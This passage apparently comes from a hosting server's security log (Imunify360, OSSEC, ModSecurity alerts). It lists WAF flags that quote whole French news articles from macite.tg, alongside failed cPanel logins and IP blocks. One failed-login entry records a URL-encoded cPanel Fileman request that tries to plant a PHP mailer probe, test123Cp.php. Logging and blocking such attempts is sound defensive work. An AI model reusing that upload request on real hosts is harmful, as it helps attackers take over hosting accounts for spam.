IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>\xc3\x80 l'occasion de la journ\xc3\xa9e de l\xe2\x80\x99enfant africain, \xc3\xa9dition 2026, c\xc3\xa9l\xc3\xa9br\xc3\xa9e le mardi 16 juin, la pr\xc3\xa9fecture de dankpen a \xc3\xa9t\xc3\xa9 v\xc3\xa9cue une journ\xc3\xa9e plac\xc3\xa9e sous le signe de l\xe2\x80\x99action et du d\xc3\xa9veloppement durable. sous le th\xc3\xa8me continental \xc2\xab garantir l\xe2\x80\x99acc\xc3\xa8s universel \xc3\xa0 l\xe2\x80\x99eau, \xc3\xa0 l\xe2\x80\x99assainissement et \xc3\xa0 l\xe2\x80\x99hygi\xc3\xa8ne pour tous les enfants d\xe2\x80\x99afrique \xc2\xbb, l\xe2\x80\x99ex\xc3\xa9cutif togolais et ses partenaires, notamment l\xe2\x80\x99unicef et plan international, ont lanc\xc3\xa9 une s\xc3\xa9rie d'initiatives concr\xc3\xa8tes \xc3\xa0 gu\xc3\xa9rin-kouka.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un nouveau forage et des latrines pour l\xe2\x80\x99h\xc3\xb4pital de district de dankpen</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie officielle, qui s\xe2\x80\x99est tenue au centre hospitalier pr\xc3\xa9fectoral de gu\xc3\xa9rin-kouka, a \xc3\xa9t\xc3\xa9 marqu\xc3\xa9e par la pose de la premi\xc3\xa8re pierre d\xe2\x80\x99un forage et de latrines modernes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce projet s\xe2\x80\x99inscrit dans le cadre du programme global <em>\xc2\xab am\xc3\xa9liorer l\xe2\x80\x99acc\xc3\xa8s \xc3\xa9quitable et durable \xc3\xa0 un ensemble int\xc3\xa9gr\xc3\xa9 de services essentiels destin\xc3\xa9s aux enfants au nord du togo gr\xc3\xa2ce \xc3\xa0 une approche ax\xc3\xa9e sur la coh\xc3\xa9sion sociale \xc2\xbb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette infrastructure sanitaire essentielle est mise en \xc5\x93uvre par l\xe2\x80\x99unicef, gr\xc3\xa2ce au soutien financier de la r\xc3\xa9publique de cor\xc3\xa9e via l'agence koica, et en partenariat avec le programme alimentaire mondial (pam).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 terme, ces installations vont transformer le quotidien des patients, des enfants, des femmes et de l'ensemble des communaut\xc3\xa9s locales, en s\xc3\xa9curisant l'acc\xc3\xa8s \xc3\xa0 l\xe2\x80\x99eau potable et \xc3\xa0 un assainissement digne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31389,\"width\":\"771px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/eunnn.jpg\" alt=\"\" class=\"wp-image-31389\" style=\"width:771px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>plan international togo pour l\xe2\x80\x99hygi\xc3\xa8ne menstruelle et la scolarisation des filles</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en marge des infrastructures hospitali\xc3\xa8res, plan international togo a apport\xc3\xa9 un soutien de taille au monde scolaire de ladite pr\xc3\xa9fecture. en effet, des kits d\xe2\x80\x99hygi\xc3\xa8ne et d\xe2\x80\x99assainissement ont \xc3\xa9t\xc3\xa9 distribu\xc3\xa9s \xc3\xa0 320 filles issues de cinq \xc3\xa9tablissements scolaires de dankpen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette action s'int\xc3\xa8gre dans une strat\xc3\xa9gie \xc3\xa0 long terme men\xc3\xa9e via le projet du <em>fonds r\xc3\xa9gional de stabilisation et de d\xc3\xa9veloppement de la cedeao (frsd)</em>, co-financ\xc3\xa9 par la cedeao, la kfw et plan international.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en termes de bilan, les impacts de ces actions dans la r\xc3\xa9gion sont \xc3\xa9normes. outre des actions de sensibilisation communautaire, on note la construction de 24 b\xc3\xa2timents scolaires (jardins d'enfants, primaires, coll\xc3\xa8ges) int\xc3\xa9grant des blocs sanitaires&nbsp;; l\xe2\x80\x99installation de 10 gouvernements d\xe2\x80\x99enfants pour favoriser le leadership des jeunes&nbsp;; la cr\xc3\xa9ation des clubs d\xe2\x80\x99hygi\xc3\xa8ne (14 au total) dans l\xe2\x80\x99optique de p\xc3\xa9renniser les bonnes pratiques au sein des communaut\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que l'acc\xc3\xa8s \xc3\xa0 l'eau et \xc3\xa0 l'hygi\xc3\xa8ne est un droit fondamental, inscrit dans la <em>charte africaine des droits et du bien-\xc3\xaatre de l\xe2\x80\x99enfant</em>. selon les sp\xc3\xa9cialistes, des conditions sanitaires ad\xc3\xa9quates \xc3\xa0 l'\xc3\xa9cole et \xc3\xa0 la maison sont indispensables pour garantir une bonne sant\xc3\xa9 des enfants par la limitation des maladies hydriques, une protection des jeunes filles en levant les tabous li\xc3\xa9s \xc3\xa0 l\xe2\x80\x99hygi\xc3\xa8ne menstruelle, et assurent une r\xc3\xa9ussite scolaire par la r\xc3\xa9duction de l\xe2\x80\x99absent\xc3\xa9isme.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31390,\"width\":\"725px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/le-representant-du-pam-representant-le-systeme-des-nations-unies-et-le-directeur-de-koaci.jpg\" alt=\"\" class=\"wp-image-31390\" style=\"width:725px;height:auto\" /><figcaption class=\"wp-element-caption\"><strong><em>le repr\xc3\xa9sentant du pam, repr\xc3\xa9sentant le syst\xc3\xa8me des nations unies et le directeur de koaci</em></strong></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour rappel la journ\xc3\xa9e de l\xe2\x80\x99enfant africain, institu\xc3\xa9e en 1991 par l\xe2\x80\x99organisation de l\xe2\x80\x99unit\xc3\xa9 africaine, est c\xc3\xa9l\xc3\xa9br\xc3\xa9e chaque ann\xc3\xa9e le 16 juin dans l\xe2\x80\x99optique de promouvoir les droits et le bien-\xc3\xaatre des enfants sur le continent. elle constitue une occasion de mobilisation des gouvernements, des partenaires techniques et financiers, de la soci\xc3\xa9t\xc3\xa9 civile, des communaut\xc3\xa9s et des enfants eux-m\xc3\xaames autour des enjeux majeurs affectant leur d\xc3\xa9veloppement et leur protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.136
country_id: 2635167
description:
[2026-06-22 15:36:15 +0000] info [cpaneld] 195.63.26.136 - yydrdvav "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.193
country_id: 2300660
description:
Jun 22 15:37:50 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.86.238
country_id: 298795
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/comment-reply.min.js?ver=6.9.4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.219.180
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/blocks/paragraph/style.min.css?ver=6.9.4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.237.218.200
country_id: 6252001
description:
[2026-06-22 15:39:52 +0000] info [cpaneld] 24.237.218.200 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.53.159.250
country_id: 6252001
description:
[2026-06-22 15:40:09 +0000] info [cpaneld] 136.53.159.250 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.102.17
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/js/float.js?ver=3.1.1 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.132.140
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>rappel\xc3\xa9 \xc3\xa0 dieu \xc3\xa0 l'\xc3\xa2ge de 86 ans, sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, roi des ew\xc3\xa9, a re\xc3\xa7u un ultime hommage le samedi 20 juin 2026 \xc3\xa0 nots\xc3\xa8. les c\xc3\xa9r\xc3\xa9monies ont \xc3\xa9t\xc3\xa9 marqu\xc3\xa9es par une messe pontificale conc\xc3\xa9l\xc3\xa9br\xc3\xa9e sur l\xe2\x80\x99esplanade de la place de l\xe2\x80\x99ind\xc3\xa9pendance, suivie de son inhumation dans l\xe2\x80\x99intimit\xc3\xa9 familiale. ceci apr\xc3\xa8s une veill\xc3\xa9e fun\xc3\xa8bre, vendredi soir \xc3\xa0 nots\xc3\xa8, \xc3\xa0 la hauteur de l\xe2\x80\x99illustre disparu, et </em></strong><strong>plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99\xc3\xa9v\xc3\xa9nement a mobilis\xc3\xa9 de nombreuses personnalit\xc3\xa9s de premier plan, parmi lesquelles le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le prof. komi selom klassou, le pr\xc3\xa9sident du s\xc3\xa9nat, barry moussa barqu\xc3\xa9, des pr\xc3\xa9sidents des institutions de la r\xc3\xa9publique, des membres du gouvernement, des d\xc3\xa9put\xc3\xa9s et s\xc3\xa9nateurs, des autorit\xc3\xa9s traditionnelles et religieuses, ainsi que des fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana et de la diaspora.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au cours de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, togbui mawuto fr\xc3\xa9d\xc3\xa9ric dzidzoli d\xc3\xa9tu x, chef du canton d\xe2\x80\x99aflao gakli, a, au nom du conseil national de la chefferie traditionnelle, rappel\xc3\xa9 que, pour le d\xc3\xa9funt roi, l\xe2\x80\x99apparat royal constituait avant tout un habit de travail, une vision qu\xe2\x80\x99il a incarn\xc3\xa9e tout au long de son r\xc3\xa8gne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31450,\"width\":\"775px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/aa-nuit.jpg\" alt=\"\" class=\"wp-image-31450\" style=\"width:775px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab avec sa canne de leader charismatique qu'il vient de d\xc3\xa9poser pour toujours, il a sillonn\xc3\xa9 toutes les pr\xc3\xa9fectures afin de transmettre aux chefs les valeurs et les vertus que doivent porter les garants des us et coutumes \xc2\xbb,</em> a-t-il d\xc3\xa9clar\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui mawuko adela aklassou iv, vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto, a pour, sa part, r\xc3\xa9it\xc3\xa9r\xc3\xa9 l\xe2\x80\x99amour que le roi portait au travail, soulignant que son mot d\xe2\x80\x99ordre \xc3\xa0 l\xe2\x80\x99endroit des chefs de l\xe2\x80\x99espace ew\xc3\xa9 \xc3\xa9tait de servir avant de r\xc3\xa9gner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab serviteur dot\xc3\xa9 d'une grande \xc3\xa9nergie physique et intellectuelle, il ne s'avoua jamais abattu malgr\xc3\xa9 le poids de l'\xc3\xa2ge. v\xc3\xa9ritable garant des us et coutumes, il s'\xc3\xa9tait engag\xc3\xa9 \xc3\xa0 restaurer le sanctuaire d'agbogbodzi pour en faire un lieu sacr\xc3\xa9 et attractif au service des valeurs traditionnelles \xc2\xbb,</em> a-t-il ajout\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mgr beno\xc3\xaet alowonou, \xc3\x89v\xc3\xaaque de kpalim\xc3\xa9 et pr\xc3\xa9sident de la conf\xc3\xa9rence des \xc3\xa9v\xc3\xaaques du togo (cet), c\xc3\xa9l\xc3\xa9brant la messe d\xe2\x80\x99enterrement, a rappel\xc3\xa9 l\xe2\x80\x99attachement du souverain \xc3\xa0 la foi chr\xc3\xa9tienne \xc3\xa0 travers son bapt\xc3\xaame et a pri\xc3\xa9 pour que le seigneur l\xe2\x80\x99accueille dans sa demeure de repos \xc3\xa9ternel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie s\xe2\x80\x99est ensuite poursuivie par l\xe2\x80\x99ex\xc3\xa9cution de danses traditionnelles telles que alaga, brekete, djokoto et ablafo, en hommage au souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en raison des exigences de la tradition, le cercueil du roi n\xe2\x80\x99a pas \xc3\xa9t\xc3\xa9 expos\xc3\xa9 au public. seuls ses attributs royaux et ses reliques ont \xc3\xa9t\xc3\xa9 pr\xc3\xa9sent\xc3\xa9s sur la place publique lors de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, avant d\xe2\x80\x99\xc3\xaatre solennellement reconduits \xc3\xa0 la r\xc3\xa9sidence royale conform\xc3\xa9ment aux usages coutumiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui agokoli iv a occup\xc3\xa9 plusieurs hautes fonctions avant son d\xc3\xa9c\xc3\xa8s. il fut notamment chef du canton de nots\xc3\xa9, pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo (cnctt), pr\xc3\xa9sident du bureau ex\xc3\xa9cutif de l\xe2\x80\x99union eweto, ancien membre de la commission nationale des droits de l\xe2\x80\x99homme (cndh) ainsi qu\xe2\x80\x99ancien membre de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr) et officier de l'ordre du mono.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avec son inhumation, s\xe2\x80\x99ach\xc3\xa8ve le parcours terrestre de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv. son h\xc3\xa9ritage, marqu\xc3\xa9 par la promotion des valeurs traditionnelles, l\xe2\x80\x99unit\xc3\xa9 du peuple ew\xc3\xa9 et le service \xc3\xa0 la nation, demeure d\xc3\xa9sormais une source d\xe2\x80\x99inspiration pour les g\xc3\xa9n\xc3\xa9rations pr\xc3\xa9sentes et futures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que la veille de son inhumation, une grande veill\xc3\xa9e fun\xc3\xa8bre en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv s'\xc3\xa9tait tenue toujours \xc3\xa0 nots\xc3\xa9. plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement, cette c\xc3\xa9l\xc3\xa9bration a r\xc3\xa9uni, les fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana ainsi que de la diaspora, les autorit\xc3\xa9s politiques, traditionnelles et administratives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31451,\"width\":\"840px\",\"height\":\"auto\",\"aspectratio\":\"4.630098452883263\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/abace.jpg\" alt=\"\" class=\"wp-image-31451\" style=\"aspect-ratio:4.630098452883263;width:840px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le r\xc3\xa9v\xc3\xa9rend p\xc3\xa8re jean-marie koglo, pr\xc3\xaatre r\xc3\xa9sident \xc3\xa0 la paroisse saint-rapha\xc3\xabl d'ad\xc3\xa9ta, le c\xc3\xa9l\xc3\xa9brant principal a, dans son hom\xc3\xa9lie, invit\xc3\xa9 l'assistance \xc3\xa0 m\xc3\xa9diter sur la vie de foi et de service de sa majest\xc3\xa9 togbui agokoli iv. il a soulign\xc3\xa9 sa fid\xc3\xa9lit\xc3\xa9 aux valeurs \xc3\xa9vang\xc3\xa9liques, son engagement au service de son peuple et son esp\xc3\xa9rance en la vie \xc3\xa9ternelle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, togbui agokoli iv est n\xc3\xa9 en 1940 \xc3\xa0 nots\xc3\xa9, et a consacr\xc3\xa9 sa vie \xc3\xa0 la pr\xc3\xa9servation des traditions ancestrales et \xc3\xa0 la promotion de l'identit\xc3\xa9 culturelle \xc3\xa9w\xc3\xa9. figure respect\xc3\xa9e de la royaut\xc3\xa9 traditionnelle togolaise, il a occup\xc3\xa9 plusieurs hautes responsabilit\xc3\xa9s, notamment celles de chef du canton de nots\xc3\xa8, de pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo, de membre de la commission nationale des droits de l'homme (cndh) et de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr). rassembleur, homme de paix, de sagesse et d'unit\xc3\xa9, il \xc3\xa9tait \xc3\xa9cout\xc3\xa9, suivi et respect\xc3\xa9 au-del\xc3\xa0 de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mc avec an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>rappel\xc3\xa9 \xc3\xa0 dieu \xc3\xa0 l'\xc3\xa2ge de 86 ans, sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv, roi des ew\xc3\xa9, a re\xc3\xa7u un ultime hommage le samedi 20 juin 2026 \xc3\xa0 nots\xc3\xa8. les c\xc3\xa9r\xc3\xa9monies ont \xc3\xa9t\xc3\xa9 marqu\xc3\xa9es par une messe pontificale conc\xc3\xa9l\xc3\xa9br\xc3\xa9e sur l\xe2\x80\x99esplanade de la place de l\xe2\x80\x99ind\xc3\xa9pendance, suivie de son inhumation dans l\xe2\x80\x99intimit\xc3\xa9 familiale. ceci apr\xc3\xa8s une veill\xc3\xa9e fun\xc3\xa8bre, vendredi soir \xc3\xa0 nots\xc3\xa8, \xc3\xa0 la hauteur de l\xe2\x80\x99illustre disparu, et </em></strong><strong>plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99\xc3\xa9v\xc3\xa9nement a mobilis\xc3\xa9 de nombreuses personnalit\xc3\xa9s de premier plan, parmi lesquelles le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le prof. komi selom klassou, le pr\xc3\xa9sident du s\xc3\xa9nat, barry moussa barqu\xc3\xa9, des pr\xc3\xa9sidents des institutions de la r\xc3\xa9publique, des membres du gouvernement, des d\xc3\xa9put\xc3\xa9s et s\xc3\xa9nateurs, des autorit\xc3\xa9s traditionnelles et religieuses, ainsi que des fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana et de la diaspora.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au cours de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, togbui mawuto fr\xc3\xa9d\xc3\xa9ric dzidzoli d\xc3\xa9tu x, chef du canton d\xe2\x80\x99aflao gakli, a, au nom du conseil national de la chefferie traditionnelle, rappel\xc3\xa9 que, pour le d\xc3\xa9funt roi, l\xe2\x80\x99apparat royal constituait avant tout un habit de travail, une vision qu\xe2\x80\x99il a incarn\xc3\xa9e tout au long de son r\xc3\xa8gne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31450,\"width\":\"775px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/aa-nuit.jpg\" alt=\"\" class=\"wp-image-31450\" style=\"width:775px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab avec sa canne de leader charismatique qu'il vient de d\xc3\xa9poser pour toujours, il a sillonn\xc3\xa9 toutes les pr\xc3\xa9fectures afin de transmettre aux chefs les valeurs et les vertus que doivent porter les garants des us et coutumes \xc2\xbb,</em> a-t-il d\xc3\xa9clar\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui mawuko adela aklassou iv, vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto, a pour, sa part, r\xc3\xa9it\xc3\xa9r\xc3\xa9 l\xe2\x80\x99amour que le roi portait au travail, soulignant que son mot d\xe2\x80\x99ordre \xc3\xa0 l\xe2\x80\x99endroit des chefs de l\xe2\x80\x99espace ew\xc3\xa9 \xc3\xa9tait de servir avant de r\xc3\xa9gner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab serviteur dot\xc3\xa9 d'une grande \xc3\xa9nergie physique et intellectuelle, il ne s'avoua jamais abattu malgr\xc3\xa9 le poids de l'\xc3\xa2ge. v\xc3\xa9ritable garant des us et coutumes, il s'\xc3\xa9tait engag\xc3\xa9 \xc3\xa0 restaurer le sanctuaire d'agbogbodzi pour en faire un lieu sacr\xc3\xa9 et attractif au service des valeurs traditionnelles \xc2\xbb,</em> a-t-il ajout\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mgr beno\xc3\xaet alowonou, \xc3\x89v\xc3\xaaque de kpalim\xc3\xa9 et pr\xc3\xa9sident de la conf\xc3\xa9rence des \xc3\xa9v\xc3\xaaques du togo (cet), c\xc3\xa9l\xc3\xa9brant la messe d\xe2\x80\x99enterrement, a rappel\xc3\xa9 l\xe2\x80\x99attachement du souverain \xc3\xa0 la foi chr\xc3\xa9tienne \xc3\xa0 travers son bapt\xc3\xaame et a pri\xc3\xa9 pour que le seigneur l\xe2\x80\x99accueille dans sa demeure de repos \xc3\xa9ternel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie s\xe2\x80\x99est ensuite poursuivie par l\xe2\x80\x99ex\xc3\xa9cution de danses traditionnelles telles que alaga, brekete, djokoto et ablafo, en hommage au souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en raison des exigences de la tradition, le cercueil du roi n\xe2\x80\x99a pas \xc3\xa9t\xc3\xa9 expos\xc3\xa9 au public. seuls ses attributs royaux et ses reliques ont \xc3\xa9t\xc3\xa9 pr\xc3\xa9sent\xc3\xa9s sur la place publique lors de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, avant d\xe2\x80\x99\xc3\xaatre solennellement reconduits \xc3\xa0 la r\xc3\xa9sidence royale conform\xc3\xa9ment aux usages coutumiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui agokoli iv a occup\xc3\xa9 plusieurs hautes fonctions avant son d\xc3\xa9c\xc3\xa8s. il fut notamment chef du canton de nots\xc3\xa9, pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo (cnctt), pr\xc3\xa9sident du bureau ex\xc3\xa9cutif de l\xe2\x80\x99union eweto, ancien membre de la commission nationale des droits de l\xe2\x80\x99homme (cndh) ainsi qu\xe2\x80\x99ancien membre de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr) et officier de l'ordre du mono.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avec son inhumation, s\xe2\x80\x99ach\xc3\xa8ve le parcours terrestre de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv. son 